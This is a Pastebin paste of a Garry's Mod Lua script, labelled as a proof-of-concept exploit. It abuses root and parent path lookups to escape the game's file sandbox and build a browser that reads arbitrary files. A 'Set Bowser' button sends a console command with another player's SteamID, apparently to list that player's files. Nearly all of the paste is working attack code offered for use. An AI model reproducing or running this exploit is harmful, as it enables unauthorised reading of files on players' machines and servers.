Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- FileBrowser
- Flapadar
- POC of file operations exploit using /
- 21/5/11
- cl_bowser.lua
- ]]
- local fbrowser = {}
- function fbrowser:DisplayData(data,file)
- local dframe = vgui.Create("DFrame")
- dframe:SetSize(600,450)
- dframe:SetTitle(file.." - gPad")
- dframe:MakePopup()
- dframe:Center()
- local dpanel = vgui.Create("DPanel")
- local dtextentry = vgui.Create("DTextEntry")
- dtextentry:SetParent(dframe)
- dtextentry:SetMultiline(true)
- dtextentry:SetSize(600,428)
- dtextentry:SetPos(0,22)
- dtextentry:SetText(data or "Error 0x001 - File Handle Rejected")
- dtextentry:SetEditable(false)
- end
- fbrowser.StartPath = #file.Find("/*",true) > 0 and "/" or "../" -- Backwards compatibility for if garry ever decides to fix this
- function fbrowser.OpenBrowser()
- local dframe = vgui.Create("DFrame")
- dframe:SetSize(650,450)
- dframe:SetTitle("Bowser")
- dframe:Center()
- dframe:MakePopup()
- local dtree = vgui.Create("DTree")
- dtree:SetParent(dframe)
- dtree:SetPos(0,22)
- dtree:SetSize(450,428)
- local parent = dtree:AddNode("/")
- local function recurseFolder(s,fol,fil,parent_kept)
- s = s:gsub("%*","")
- if parent_kept then
- parent = parent_kept
- end
- for k , v in pairs(fol) do
- local nextnode = parent:AddNode(v)
- nextnode.NextPath = s..v.."/*"
- nextnode.DoClick = function()
- if not nextnode.Checked then
- nextnode.Checked = true
- file.TFind(nextnode.NextPath,function(s,fol,fil)
- recurseFolder(s,fol,fil,nextnode)
- nextnode:SetExpanded(true)
- end )
- end
- return DTree_Node.DoClick(nextnode)
- end
- end
- for k,v in pairs(fil) do
- local n = parent:AddNode(v)
- n:GetTable().Icon:SetImage("VGUI/spawnmenu/file")
- n.Path = s..v
- n.DoClick = function()
- fbrowser:DisplayData(file.Read(n.Path,true),v)
- end
- end
- end
- file.TFind(fbrowser.StartPath.."*" , recurseFolder)
- -- Player listing --
- local dpanel = vgui.Create("DPanelList")
- dpanel:SetParent(dframe)
- dpanel:SetPos(451,22)
- dpanel:SetSize(199,428)
- dpanel:EnableHorizontal(false)
- dpanel:EnableVerticalScrollbar(true)
- dpanel:SetSpacing(5)
- dpanel:SetPadding(5)
- for k , v in pairs(player.GetAll()) do
- local panel = vgui.Create("DPanel")
- panel:SetSize(199,59)
- local avatar = vgui.Create("AvatarImage")
- avatar:SetSize(32,32)
- avatar:SetParent(panel)
- avatar:SetPos(5,10)
- avatar:SetPlayer(v)
- local dlabel = vgui.Create("DLabel")
- dlabel:SetPos(40,10)
- dlabel:SetSize(60,22)
- dlabel:SetText(v:Nick())
- dlabel:SetParent(panel)
- panel.DoClick = function() print(v) end
- local dbutton = vgui.Create("DButton")
- dbutton:SetParent(panel)
- dbutton:SetPos(95 , 10)
- dbutton:SetText("Set Bowser")
- dbutton:SetSize(75,22)
- dbutton.DoClick = function()
- RunConsoleCommand("request_file_list" , v:SteamID() , fbrowser.StartPath)
- end
- dpanel:AddItem(panel)
- end
- end
- fbrowser.OpenBrowser()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement